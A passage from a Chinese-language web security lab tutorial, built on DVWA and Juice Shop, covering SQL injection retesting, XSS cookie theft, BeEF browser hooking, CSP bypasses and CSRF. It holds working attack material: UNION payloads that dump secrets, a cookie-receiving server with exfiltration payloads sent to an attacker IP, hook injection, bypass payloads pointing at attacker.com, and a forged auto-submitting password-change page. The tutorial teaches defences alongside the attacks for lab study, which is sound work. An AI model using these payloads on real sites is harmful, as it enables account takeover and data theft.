-- ❌ 危险:应用用 root 账号
GRANT ALL PRIVILEGES ON *.* TO 'app'@'%' IDENTIFIED BY 'xxx';

-- ✅ 正确:专用账号,只给必要的 DML,不给 FILE/SUPER/DROP
CREATE USER 'app_user'@'172.20.%' IDENTIFIED BY 'StrongP@ssw0rd!';
GRANT SELECT, INSERT, UPDATE, DELETE ON mydb.* TO 'app_user'@'172.20.%';
-- ★★ 绝不给:FILE(防写 webshell)、SUPER、PROCESS、DROP、ALTER
FLUSH PRIVILEGES;

-- ✅ 禁止写文件(MySQL 配置文件 my.cnf)
[mysqld]
secure_file_priv = NULL
local_infile = 0

-- 验证
SHOW VARIABLES LIKE 'secure_file_priv';
-- 预期:Value = NULL

2.8.2 复测脚本(★ 修完必须跑)

#!/usr/bin/env bash
# save as verify_sqli.sh
# ★ 修复后必跑:确认所有 payload 都失效了
TARGET="${1:-http://127.0.0.1:8888}"
COOKIE="${2:-}"
PASS=0; FAIL=0

check() {
  local desc="$1"; local url="$2"; local expect_absent="$3"
  local resp
  resp=$(curl -s -H "Cookie: $COOKIE" "$url" 2>/dev/null)
  if echo "$resp" | grep -qi "$expect_absent"; then
    echo "  ✗ [仍可注入] $desc"
    echo "      响应片段: $(echo "$resp" | head -c 200)"
    FAIL=$((FAIL+1))
  else
    echo "  ✓ [已修复]   $desc"
    PASS=$((PASS+1))
  fi
}

echo "════════ SQL 注入复测 ════════"
echo "目标: $TARGET"
echo ""

echo "【1】基础注入"
check "单引号报错"     "$TARGET/sqli/user?id=1%27"                    "SQL Error\|syntax error\|SQLSyntaxError"
check "OR 恒真"        "$TARGET/sqli/user?id=1%27%20OR%20%271%27=%271" "bob\|charlie"
check "UNION 探测"     "$TARGET/sqli/user?id=-1%27%20UNION%20SELECT%201,2--%20" "First name"

echo ""
echo "【2】敏感数据泄露检测(★ 关键:确认拖不走 secrets 表)"
check "UNION 拖 secrets"  "$TARGET/sqli/user?id=-1' UNION SELECT 1,secret_name,secret_val,email,role FROM secrets-- " "jwt_signing_key\|aws_ak\|Prod_DB"
check "UNION 查 information_schema" "$TARGET/sqli/user?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables-- " "SECRETS\|secrets"

echo ""
echo "【3】ORDER BY / IN / LIKE"
check "ORDER BY 注入"  "$TARGET/sqli/order?field=(SELECT%20secret_val%20FROM%20secrets%20LIMIT%201)" "jwt_signing_key\|aws_ak"
check "IN 注入"        "$TARGET/sqli/in?ids=1)%20OR%201=1--%20"  "bob\|charlie"
check "LIKE 注入"      "$TARGET/sqli/search?kw=%25'%20UNION%20SELECT%201,secret_name,secret_val,email,role%20FROM%20secrets--%20" "aws_ak"

echo ""
echo "【4】数字型"
check "数字型注入"     "$TARGET/sqli/num?id=1%20OR%201=1"  "bob\|charlie"

echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS    失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过,注入已修复" || echo "!! 仍有 $FAIL 项可被注入,继续修"
chmod +x verify_sqli.sh

# 修复前跑(应该看到一堆 ✗)
./verify_sqli.sh http://127.0.0.1:8888 ""
# 预期:通过 0    失败 9

# 修复后跑(应该全 ✓)
./verify_sqli.sh http://127.0.0.1:8888 ""
# 预期:通过 9    失败 0

2.8.3 sqlmap 复测

# 修复后,用 sqlmap 再扫一遍(应该扫不出东西)
sqlmap -u "http://127.0.0.1:8888/sqli/user?id=1" --batch --level=5 --risk=3
# 预期输出:
# [INFO] testing connection to the target URL
# ...
# [WARNING] GET parameter 'id' does not seem to be injectable
# [CRITICAL] all tested parameters do not appear to be injectable
# ★ 看到 "does not appear to be injectable" 就说明修好了

# ★ 注意 --level=5 --risk=3 是最彻底的扫描
#   level 5 会测 Cookie/UA/Referer 等 Header
#   risk 3 会尝试基于 OR 的 payload(可能改数据,★ 只在自己靶场用)

2.8.4 CI 里自动化卡点(★ 把复测固化下来)

# .gitlab-ci.yml
stages:
  - test
  - security

# ① 静态检查:源码里不能出现 ${}
sast-mybatis-dollar:
  stage: security
  script:
    - echo "检查 Mapper XML 里的 \${} 用法..."
    - |
      if grep -rn '\${' --include="*.xml" src/main/resources/mapper/ 2>/dev/null; then
        echo "✗ 发现 \${} 拼接,存在 SQL 注入风险"
        echo "   如果确认是白名单场景,请加注释并在此处加白名单"
        exit 1
      fi
    - echo "✓ 未发现 \${} 拼接"

# ② 运行时验证:起服务跑一遍复测脚本
sqli-verify:
  stage: security
  script:
    - java -jar target/app.jar &
    - sleep 30
    - ./scripts/verify_sqli.sh http://127.0.0.1:8080 ""
    # 脚本内部失败会 exit 1,流水线自动阻断

# ③ 依赖漏洞扫描
dependency-check:
  stage: security
  script:
    - dependency-check.sh --project myapp --scan . --failOnCVSS 9

★ 自定义 Semgrep 规则(比通用规则精准得多):

# .semgrep/spring-sqli.yml
rules:
  - id: spring-jdbc-string-concat-sql
    languages: [java]
    severity: ERROR
    message: >-
      检测到 SQL 语句使用了字符串拼接,存在 SQL 注入风险。
      请改用 PreparedStatement 的 ? 占位符,或 MyBatis 的 #{}。
      参考:11 号文档 2.1.5
    patterns:
      - pattern-either:
          - pattern: |
              String $SQL = "..." + $VAR + "...";
          - pattern: |
              $JDBC.queryForList("..." + $VAR + "...", ...);
          - pattern: |
              $JDBC.query("..." + $VAR + "...", ...);
          - pattern: |
              $JDBC.update("..." + $VAR + "...", ...);
      - pattern-not: |
          String $SQL = "..." + $CONST + "...";    # 常量拼接不算漏洞
# 跑一遍
semgrep --config .semgrep/ src/
# 预期输出:
# ┌─────────────────┐
# │ 4 Code Findings │
# └─────────────────┘
#   src/main/java/.../SqliController.java
#     ❯ spring-jdbc-string-concat-sql
#       检测到 SQL 语句使用了字符串拼接...
#        22┆ String sql = "SELECT * FROM users WHERE id = '" + id + "'";

2.9 面试怎么讲这个实验

★ 30 秒口述版(背下来,面试直接用)

“我在本地用 DVWA 靶场完整复现过一次 SQL 注入。先是手工做的:加单引号发现报错,用 and '1'='1 和 and '1'='2 两次对比确认了注入点存在,然后 ORDER BY 二分法猜出字段数是 2,接着 UNION 联合注入把 information_schema 里的表名、列名全都拖了出来,最后拿到了所有用户的密码哈希。

之后我用 sqlmap 跑了一遍做对比,发现它其实是按 boolean、error、union、time 四种类型依次尝试的,盲注部分用的是二分法逐字符猜测,每个字符大概 7 次请求。

最让我有触动的是后面的 GetShell:数据库账号是 root 且 secure_file_priv 为空,我用 INTO OUTFILE 写了一个 PHP webshell 进去,然后反弹 shell 拿到了 www-data 的命令行。整个链条的起点,只是一个没做预编译的字符串拼接。

修复后我做了复测,写了个脚本把 9 个 payload 全跑一遍,确认都失效了。这里我最大的体会是:数据库账号不给 FILE 权限这一条配置,成本几乎为零,但能直接斩断 GetShell 这条路。“

可能的追问:

追问 你的回答
预编译为什么能防? 时序:SQL 骨架先编译生成执行计划,参数后到,只能当值填入,改不了语法树
ORDER BY 怎么办? 占位符只能替代“值”不能替代“标识符”,只能白名单
关掉报错回显有多大用? 报错注入 2 次请求能拖完的,关掉后退化成盲注需要 224 次 + 11 分钟,攻击成本 ×100
除了预编译还能做什么? 最小权限账号(不给 FILE)、secure_file_priv=NULL、关报错、WAF 辅助
怎么批量排查项目里的注入? Semgrep 自定义规则扫 ${} 和字符串拼接 + MyBatis XML 里搜 ${ + sqlmap 对测试环境扫描
宽字节注入原理? GBK 下 %df\ 被合并成一个汉字,转义的反斜杠被“吃掉”,单引号逃逸

第三章:XSS 与 CSRF 实战

本章目标:亲手弹出第一个 alert,偷到第一个 Cookie,伪造第一笔转账,并用 BeEF 接管浏览器。

实验环境:DVWA + Juice Shop + 自建靶场

预计耗时:2 小时


3.1.1 第一个 XSS(Hello World)

# DVWA → XSS (Reflected)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/xss_r/?name=<script>alert(1)</script>" \
  | grep -oP "Hello \K.*" | head -20

# 预期输出:
# <script>alert(1)</script>
#
# ★ 注意:我们看到的是【原样的 <script>】,说明输入被直接输出,没有被转义
#   浏览器打开这个 URL 就会弹窗

浏览器验证:

打开:http://127.0.0.1:8080/vulnerabilities/xss_r/?name=<script>alert(document.domain)</script>
→ 弹出警告框,显示当前域名

看一眼漏洞源码(DVWA low):

<?php
header ("X-XSS-Protection: 0");
// ★ 直接输出,没有任何编码
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

弹窗只是“证明漏洞存在”。真正的攻击是偷走 Cookie,然后冒充受害者登录。

第一步:准备接收端

# 开一个简单的 HTTP 服务器接收 Cookie
# 终端 1:
mkdir -p /tmp/xss && cd /tmp/xss
python3 -m http.server 9999
# 但 http.server 不记录 GET 参数,用下面这个自定义脚本更好

cat > /tmp/xss/steal.py <<'EOF'
#!/usr/bin/env python3
"""XSS Cookie 接收端"""
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        ts = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        if 'c' in params:
            cookie = params['c'][0]
            print(f"\n[{ts}] ★★ 收到 Cookie ★★")
            print(f"  Cookie: {cookie}")
            print(f"  来源IP: {self.client_address[0]}")
            print(f"  UA: {self.headers.get('User-Agent','')}")
            with open('/tmp/xss/stolen.txt','a') as f:
                f.write(f"[{ts}] {cookie}  {self.client_address[0]}\n")
        # 返回一张 1x1 透明图片,让页面不报错
        self.send_response(200)
        self.send_header('Content-Type','image/gif')
        self.end_headers()
        self.wfile.write(bytes.fromhex(
            '47494638396101000100800000ffffff00000021f9040100000000'
            '2c00000000010001000002024401003b'))
    def log_message(self, *args):
        pass    # 不打印访问日志,只打印 Cookie

if __name__ == '__main__':
    print("[*] Cookie 接收端启动在 0.0.0.0:9999")
    print("[*] 等待受害者触发 XSS...")
    HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
EOF

python3 /tmp/xss/steal.py

第二步:构造偷 Cookie 的 payload

<!-- 原理:创建一个新的 img 标签,src 指向攻击者的服务器,把 cookie 作为 URL 参数带过去 -->
<script>
  new Image().src = "http://你的IP:9999/?c=" + encodeURIComponent(document.cookie);
</script>

<!-- 或者用 fetch(更现代,可以偷更多信息) -->
<script>
fetch("http://你的IP:9999/?c=" + encodeURIComponent(document.cookie) +
      "&u=" + encodeURIComponent(location.href) +
      "&p=" + encodeURIComponent(document.body.innerHTML.substring(0,500)));
</script>

第三步:触发

# URL 编码后
PAYLOAD='<script>new Image().src="http://172.20.0.1:9999/?c="+encodeURIComponent(document.cookie)</script>'

curl -s -H "Cookie: $DVWA_FULL_COOKIE" -G \
  "http://127.0.0.1:8080/vulnerabilities/xss_r/" \
  --data-urlencode "name=$PAYLOAD"

# 在浏览器里打开这个 URL(模拟受害者点击)

第四步:看战果

[*] Cookie 接收端启动在 0.0.0.0:9999
[*] 等待受害者触发 XSS...

[2026-09-04 15:23:11] ★★ 收到 Cookie ★★
  Cookie: PHPSESSID=abc123def456; security=low
  来源IP: 172.20.0.1
  UA: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36...

第五步:用偷到的 Cookie 冒充登录

# 用偷来的 PHPSESSID 直接访问(不需要用户名密码)
curl -s -H "Cookie: PHPSESSID=abc123def456; security=low" \
  "http://127.0.0.1:8080/index.php" | grep -oP "Welcome \K[^<]*"
# 预期输出:Welcome admin
#
# ★★ 我们什么密码都没输,就登录成了 admin

3.1.3 HttpOnly 的作用(★ 对比实验)

# ① 先查看当前 Cookie 有没有 HttpOnly
#    浏览器 F12 → Application → Cookies
#    DVWA 的 PHPSESSID 默认【没有】HttpOnly → 所以能被偷

# ② 开启 HttpOnly 后再试一次
#    修改 DVWA 代码或 PHP 配置:
#    php.ini: session.cookie_httponly = 1
docker exec dvwa sed -i 's/session.cookie_httponly = *[01]/session.cookie_httponly = 1/' \
  /usr/local/etc/php/php.ini 2>/dev/null || \
docker exec dvwa bash -c 'echo "session.cookie_httponly = 1" >> /usr/local/etc/php/php.ini'
docker restart dvwa

# ③ 重新登录,再触发一次 XSS
#    预期:document.cookie 返回空(因为 JS 读不到 HttpOnly 的 Cookie)
#    在浏览器 Console 里验证:
#    > document.cookie
#    ""              ← ★ HttpOnly 的 Cookie 不在里面

★★ 关键认知:@HttpOnly 不能防止 XSS 发生,它只是让 XSS 偷不到 Cookie 这一种东西。

XSS 还能做这些(HttpOnly 都拦不住):

  • 读取页面上的敏感内容(身份证、银行卡、余额)
  • 以你的名义发请求(改密码、转账、发消息)—— 这就是 CSRF
  • 伪造登录框骗你输入密码
  • 扫描你的内网(结合 SSRF)
  • 挂键盘记录器

所以 HttpOnly 是“减轻后果”,不是“防止攻击”。真正的防线是输出编码 + CSP。


3.2 存储型 XSS + BeEF 接管浏览器

3.2.1 存储型 XSS(最危险的一种)

# DVWA → XSS (Stored)
# 在留言板里提交恶意内容,它会【存进数据库】
# 之后【任何人】访问这个页面都会中招

curl -s -H "Cookie: $DVWA_FULL_COOKIE" -X POST \
  "http://127.0.0.1:8080/vulnerabilities/xss_s/" \
  -d "txtName=attacker" \
  -d "mtxMessage=<script>new Image().src='http://172.20.0.1:9999/?c='+encodeURIComponent(document.cookie)</script>" \
  -d "btnSign=Sign+Guestbook"

# 现在任何人打开留言板页面都会触发
# 用另一个"受害者"浏览器打开:
#   http://127.0.0.1:8080/vulnerabilities/xss_s/
# → steal.py 端会收到他的 Cookie

为什么存储型最危险?

类型 触发条件 影响范围
反射型 ★ 要诱导受害者点击特定 URL 单个受害者
存储型 只要访问正常页面即可 ★★ 所有访问者
DOM 型 前端 JS 处理不当,请求不过服务器 单个受害者,WAF 看不见

存储型 XSS 也叫持久型 XSS。它是唯一一种“你什么都不用做,受害者自己送上门“的 XSS。 真实案例:2014 年 eBay 存储型 XSS,攻击者在商品描述里嵌入恶意脚本,所有浏览该商品的用户都被重定向到钓鱼网站。

3.2.2 BeEF:接管理浏览器(★ 震撼实验)

BeEF(Browser Exploitation Framework,浏览器利用框架):XSS 的“后续利用平台”。 一旦受害者的浏览器被“钩住”(hooked),你就能在管理界面上远程操控它。

# ① 启动 BeEF
docker run -d --name beef --network lab-net \
  -p 127.0.0.1:3001:3000 \
  -p 127.0.0.1:3002:3001 \
  janes/beef

sleep 20
# ② 查看默认账号密码(★ 一定要改)
docker logs beef 2>&1 | grep -iA3 "credentials\|username\|password"
# 预期输出:
#   Username: beef
#   Password: beef    (默认,生产必须改!)
#   Web UI URL: http://127.0.0.1:3000/ui/panel
③ 浏览器打开管理界面:http://127.0.0.1:3001/ui/panel
   登录:beef / beef

④ 找到 hook 地址(BeEF 页面右上角的 "Hook" 或 Getting Started):
   http://<你的IP>:3002/hook.js

⑤ 注入 hook(在 DVWA 存储型 XSS 里)

curl -s -H "Cookie: $DVWA_FULL_COOKIE" -X POST \
  "http://127.0.0.1:8080/vulnerabilities/xss_s/" \
  --data-urlencode "txtName=attacker" \
  --data-urlencode "mtxMessage=<script src='http://172.20.0.1:3002/hook.js'></script>" \
  --data-urlencode "btnSign=Sign+Guestbook"

⑥ 受害者打开留言板 → BeEF 管理界面左侧出现一台“上线”的浏览器

你现在可以做的(在 Commands 标签里):

模块 路径 效果
Get Cookie Browser → Get Cookie 偷 Cookie
Get Page HTML Browser → Get Page HTML 偷页面内容
Get Visited Domains Browser → Hooked Domain → Get Visited Domains ★ 偷浏览历史
Detect VMs / Internal IPs Network → Ping Sweep ★ 扫受害者内网
Pretty Theft Social Engineering → Pretty Theft ★ 伪造登录框骗密码(超像真的)
Fake Flash Update Social Engineering → Fake Flash Update 骗用户下载木马
Webcam Browser → Webcam 开摄像头(需授权)
Google Phishing Social Engineering → Google Phishing 伪造 Google 登录页
Redirect Browser Browser → Redirect 跳转到钓鱼站
Create Alert Dialog Browser → Create Alert Dialog 弹警告框(社工)

★ 最震撼的两个(一定要试):

1. Pretty Theft(登录框钓鱼)
   → 在受害者当前页面上弹出一个【和原网站一模一样】的登录框
   → 受害者以为掉线了,重新输入账号密码
   → 你直接收到明文密码
   ★ 这就是为什么"HttpOnly"和"短 Session"很重要

2. Ping Sweep / 内网探测
   → 用受害者的浏览器去扫他的内网
   → 你访问不到他公司的内网,但他的浏览器可以
   ★ 这就是"浏览器作为跳板"的概念

★ 反思时刻:做完这个实验你就明白,XSS 绝不是“弹个窗”那么简单。 受害者的浏览器一旦被控制,它就变成了攻击者在内网里的一台“肉鸡”。


3.3 DOM 型 XSS(WAF 看不见的那个)

3.3.1 原理

普通 XSS:  恶意数据 → 服务器 → 服务器把它拼进 HTML → 返回给浏览器
                        ↑ WAF 能在这里看到并拦截

DOM 型 XSS:恶意数据 → 服务器(原样返回)
                     → 前端 JS 用 innerHTML / eval 把它写进 DOM
                        ↑ WAF 完全看不到!因为数据根本没"执行"过

漏洞代码示例:

<!-- 页面 URL: /page?name=xxx -->
<script>
  // ★ 从 URL 里取值,直接写进 innerHTML —— 这就是 DOM XSS
  var name = location.hash.substring(1);       // 取 # 后面的部分
  document.getElementById("greet").innerHTML = "Hello " + name;
</script>
<!--
  攻击:/page#<img src=x onerror=alert(1)>
  ★ 注意 # 后面的内容【不会发给服务器】
    → WAF 看不到
    → 服务器日志也记不到
    → 但浏览器会执行它
-->

3.3.2 实验(Juice Shop)

# 打开 Juice Shop,找到搜索框
# 输入:<iframe src="javascript:alert(`xss`)">
# ★ Juice Shop 的 "DOM XSS" 挑战就是这个

# 用 curl 验证(虽然 DOM XSS 主要靠浏览器渲染,但可以确认是否被过滤)
curl -s "http://127.0.0.1:3000/#/search?q=%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E" \
  | grep -o "iframe" | head -3

# 更常见的 DOM XSS 场景:location.hash / document.write / eval / innerHTML

常见的 DOM XSS 污染源(Source)和落点(Sink):

Source(数据从哪来) Sink(数据到哪去,危险)
location.href innerHTML / outerHTML
location.hash document.write()
location.search eval() / setTimeout(string)
document.referrer new Function(string)
document.cookie element.src = xxx
window.name element.setAttribute("onclick", xxx)
localStorage / sessionStorage jQuery 的 html() / append()

修复:

// ❌ 危险
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);

// ✅ 安全
element.textContent = userInput;           // ★ 最推荐,当纯文本处理
element.innerText = userInput;

// 如果必须写 HTML,先净化
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// Vue / React 的注意点:
// {{ }} 插值是安全的(自动转义)
// ★ 但 v-html / dangerouslySetInnerHTML 是【故意跳过转义】,等同于 innerHTML
// ★ 还有 href/src 这些 URL 属性,框架不会帮你过滤 javascript: 伪协议

3.4 CSP 绕过实战(★ 进阶)

CSP(Content Security Policy,内容安全策略):告诉浏览器“只允许加载这些来源的脚本”。 它是 XSS 的最后一道防线——即使你的输出编码漏了,CSP 也能拦住外部脚本执行。

但 CSP 配错了等于没配。 这一节我们亲手绕过几个错误的 CSP 配置。

3.4.1 常见的错误 CSP 及绕过

# 起一个带 CSP 的测试页面
mkdir -p /tmp/csp && cd /tmp/csp
cat > index.php <<'EOF'
<?php
// 实验:改这个 header,看哪种 payload 能绕过
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
?>
<!DOCTYPE html>
<html><body>
<h1>CSP 测试页</h1>
<div id="out"><?php echo $_GET['x'] ?? ''; ?></div>
</body></html>
EOF
php -S 127.0.0.1:8099

绕过手法 1:允许 unsafe-inline(最常见错误)

Content-Security-Policy: script-src 'self' 'unsafe-inline'
<!-- 直接内联执行,绕过成功 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>

绕过手法 2:允许 unsafe-eval

Content-Security-Policy: script-src 'self' 'unsafe-eval'
<script>eval("al"+"ert(1)")</script>
<script>setTimeout("alert(1)",0)</script>

绕过手法 3:JSONP 端点(★ 最精妙)

Content-Security-Policy: script-src 'self' https://accounts.google.com
<!--
  ★ 关键洞察:白名单里如果有支持 JSONP 的域名,就能绕过
  JSONP 的本质是"返回一段可执行的 JS",而 callback 参数是我们可控的
-->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

<!-- 其他常见可利用的 JSONP 端点(历史上):
  https://www.google.com/complete/search?client=chrome&q=x&jsonp=alert(1)//
  https://accounts.google.com/o/oauth2/revoke?callback=alert(1)
-->

绕过手法 4:script-src 漏配了 object-src

Content-Security-Policy: script-src 'self'
<!-- ★ script-src 只管 <script>,不管 <object>/<embed> -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<!-- base64 解码后是 <script>alert(1)</script> -->

绕过手法 5:base 标签劫持相对路径

Content-Security-Policy: script-src 'self'
<!-- 页面里用的是相对路径 <script src="/js/app.js"> -->
<!-- 我们插一个 base 标签,把 'self' 的基准改成我们的服务器 -->
<base href="https://attacker.com/">
<!-- 于是 /js/app.js 变成 https://attacker.com/js/app.js → 加载了我们的脚本 -->

绕过手法 6:允许 data: 或 blob:

Content-Security-Policy: script-src 'self' data:
<script src="data:text/javascript,alert(1)"></script>

3.4.2 正确的 CSP 配置

# ✅ 严格版(推荐)
Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-{每次请求随机生成}';
  style-src 'self' 'nonce-{随机}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self';
  object-src 'none';
  upgrade-insecure-requests;

各指令的作用:

指令 作用 为什么必须配
default-src 'none' 默认全禁 ★ 白名单思维,没明确允许的都禁止
script-src 'nonce-xxx' 只有带正确 nonce 的脚本能执行 ★ 比 unsafe-inline 安全得多
object-src 'none' 禁 object/embed/applet 堵死绕过手法 4
base-uri 'none' 禁 base 标签 堵死绕过手法 5
frame-ancestors 'none' 禁止被 iframe 嵌套 ★ 防点击劫持(替代 X-Frame-Options)
form-action 'self' 表单只能提交到自己 防止表单被劫持到外部
upgrade-insecure-requests 自动把 http 升成 https 防降级攻击

3.4.3 nonce vs hash vs unsafe-inline

<!-- 方式一:nonce(推荐用于动态页面) -->
<!-- 服务端每次响应生成一个随机 nonce -->
<script nonce="r4nd0mV4lu3">
  // 这个脚本能执行
</script>
<script>
  // 这个不能执行(没有 nonce)★ 攻击者注入的脚本没有 nonce
</script>

<!-- 方式二:hash(适合静态页面) -->
<!-- CSP: script-src 'sha256-abc123...' -->
<!-- 只有内容哈希匹配的脚本能执行 -->

<!-- 方式三:unsafe-inline(❌ 千万别用) -->
<!-- 等于允许所有内联脚本,CSP 对 XSS 基本失效 -->

Spring Boot 里生成 nonce:

@ControllerAdvice
public class CspNonceAdvice implements ResponseBodyAdvice<Object> {
    @Override
    public Object beforeBodyWrite(Object body, MethodParameter p, MediaType mt,
            Class<?> c, ServerHttpRequest req, ServerHttpResponse resp) {
        // 每次请求生成随机 nonce
        String nonce = Base64.getEncoder().encodeToString(
            SecureRandom.getInstanceStrong().generateSeed(16));
        // 放到 request 属性里,模板渲染时读取
        req.getServletRequest().setAttribute("cspNonce", nonce);
        // 设置响应头
        resp.getHeader().set("Content-Security-Policy",
            "default-src 'none'; script-src 'self' 'nonce-" + nonce + "'; " +
            "style-src 'self' 'nonce-" + nonce + "'; img-src 'self' data: https:; " +
            "object-src 'none'; base-uri 'none'; frame-ancestors 'none'");
        return body;
    }
}

3.4.4 CSP 落地路线(★ 别一上来就开正式模式)

# 第 1 步:先用 Report-Only 模式,只报告不拦截
Content-Security-Policy-Report-Only: default-src 'none'; script-src 'self'; report-uri /csp-report

# 第 2 步:收集 1~2 周的违规报告
# Spring Boot 接收端:
@RestController
public class CspReportController {
    @PostMapping("/csp-report")
    public void report(@RequestBody String body) {
        log.warn("CSP 违规: {}", body);
        // 报告内容示例:
        // {"csp-report":{
        //   "document-uri":"https://example.com/page",
        //   "violated-directive":"script-src",
        //   "blocked-uri":"https://evil.com/x.js",
        //   "line-number":23
        // }}
    }
}

# 第 3 步:分析报告,把合法的资源加进白名单(清误报)
# 第 4 步:切换到正式模式
Content-Security-Policy: ...
# 第 5 步:继续监控,持续收敛

3.5 CSRF 实战:伪造一笔转账

3.5.1 攻击场景

受害者:已登录银行网站 bank.com(Cookie 有效)
攻击者:做了一个恶意页面,放在 evil.com
攻击链:
  1. 受害者在银行登录后,没退出,去逛了 evil.com
  2. evil.com 的页面里藏着一个【自动提交的表单】
  3. 表单的 action 指向 bank.com/transfer,内容是"转 10000 元给攻击者"
  4. ★ 浏览器会自动带上 bank.com 的 Cookie
  5. 银行验证 Cookie → 认为是受害者本人操作 → 转账成功

3.5.2 构造恶意页面

<!-- save as /tmp/csrf/evil.html -->
<!DOCTYPE html>
<html>
<head><title>免费领红包!</title></head>
<body>
  <h1>🎉 恭喜你中奖了!正在领取...</h1>

  <!-- ★ 这个表单用户看不见,页面加载就自动提交 -->
  <form id="f" action="http://127.0.0.1:8080/vulnerabilities/csrf/" method="GET">
    <input type="hidden" name="password_new"  value="hacked123">
    <input type="hidden" name="password_conf" value="hacked123">
    <input type="hidden" name="Change"        value="Change">
  </form>

  <script>
    document.getElementById('f').submit();   // ★ 自动提交
  </script>

  <p>(其实上面的表单已经偷偷改掉了你的密码)</p>
</body>
</html>
# 起一个服务托管恶意页面
cd /tmp/csrf && python3 -m http.server 8081

# 受害者(已登录 DVWA)访问:
#   http://127.0.0.1:8081/evil.html

# 验证:用原密码登录,应该失败;用 hacked123 登录,应该成功
curl -s -c /tmp/c3 "http://127.0.0.1:8080/login.php" -o /dev/null
T=$(curl -s -b /tmp/c3 "http://127.0.0.1:8080/login.php" | grep -oP "name='user_token' value='\K[^']+")
curl -s -b /tmp/c3 -X POST "http://127.0.0.1:8080/login.php" \
  -d "username=admin" -d "password=hacked123" \
  -d "user_token=$T" -d "Login=Login" | grep -oP "Welcome \K[^<]*"
# 预期输出:Welcome admin   ← ★ 密码被改了!

3.5.3 三种防御的对比实验

# ═══════ 防御 1:SameSite Cookie ═══════
# 浏览器开发者工具 → Application → Cookies → 看 SameSite 列
#   SameSite=Strict → 跨站请求完全不带 Cookie → 攻击失败
#   SameSite=Lax    → 只有顶层导航的 GET 带 → POST 攻击失败
#   SameSite=None   → 不限制 → 攻击成功(但必须配 Secure)

# ═══════ 防御 2:CSRF Token ═══════
# 看 DVWA 的 high 等级源码,它加了 user_token:

# 服务端生成 token 存进 session,同时放进表单隐藏域
# 提交时比对二者是否一致
# ★ 攻击者能伪造请求,但【读不到】目标站的 token(同源策略)
#   → 提交的 token 对不上 → 被拒绝

# ═══════ 防御 3:校验 Origin / Referer ═══════
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
     -H "Referer: http://evil.com/" \
     "http://127.0.0.1:8080/vulnerabilities/csrf/?password_new=x&password_conf=x&Change=Change"
# 服务端校验 Referer 不是本站 → 拒绝

Spring Security 的 CSRF 防护(生产做法):

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
          .csrf(csrf -> csrf
              // ★ 用 CookieCsrfTokenRepository:token 放 Cookie,前端从 Cookie 读出来放进 Header
              //   这是"双重提交"模式,适合前后端分离
              .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
              // 放行不需要 CSRF 防护的接口(如纯查询的 GET)
              .ignoringAntMatchers("/api/public/**")
          );
    }
}
// 前端 axios 配置:从 Cookie 读 token,放进请求头
import axios from 'axios';
axios.defaults.xsrfCookieName = 'XSRF-TOKEN';
axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN';
// ★ axios 会自动完成:读 Cookie → 放进 Header

★ 关键理解:为什么“Token 放 Cookie 里”仍然安全?

很多人困惑:“CSRF 的本质不就是浏览器自动带 Cookie 吗?那把 Token 也放 Cookie,攻击者不就也能带上了?”

答案是:攻击者确实能让浏览器“带上”Token,但他【读不到】Token 的值。

  • 浏览器自动带的是请求头里的 Cookie
  • 但服务端要求的是请求参数或自定义 Header 里也有一个相同的值
  • 攻击者构造表单时,只能让浏览器自动带 Cookie,没法往表单里填一个他不知道的值
  • 同源策略保证了 evil.com 的 JS 读不到 bank.com 的 Cookie

所以 CSRF 防护的本质是:需要一个“攻击者无法预测或读取”的值。

3.5.4 复测脚本

#!/usr/bin/env bash
# verify_xss_csrf.sh
TARGET="${1:-http://127.0.0.1:8888}"
PASS=0; FAIL=0

check_xss() {
  local url="$1"; local desc="$2"
  local resp=$(curl -s "$url")
  # 如果返回的 HTML 里有【未转义的】script 标签,说明有 XSS
  if echo "$resp" | grep -q "<script>alert\|<script>new Image\|onerror=alert"; then
    echo "  ✗ [仍可 XSS] $desc"
    FAIL=$((FAIL+1))
  else
    echo "  ✓ [已修复]   $desc"
    PASS=$((PASS+1))
  fi
}

echo "════════ XSS 复测 ════════"
check_xss "$TARGET/xss/reflect?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E" "反射型-基础"
check_xss "$TARGET/xss/reflect?name=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" "反射型-img onerror"
check_xss "$TARGET/xss/reflect?name=%3Csvg%2Fonload%3Dalert(1)%3E" "反射型-svg onload"
check_xss "$TARGET/xss/reflect?name=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E" "属性闭合"

echo ""
echo "════════ 安全响应头检查 ════════"
HEADERS=$(curl -sI "$TARGET/" )
for h in "Content-Security-Policy" "X-Content-Type-Options" "X-Frame-Options"; do
  if echo "$HEADERS" | grep -qi "$h"; then
    echo "  ✓ 已设置 $h: $(echo "$HEADERS" | grep -i "$h")"
    PASS=$((PASS+1))
  else
    echo "  ✗ 缺失 $h"
    FAIL=$((FAIL+1))
  fi
done

echo ""
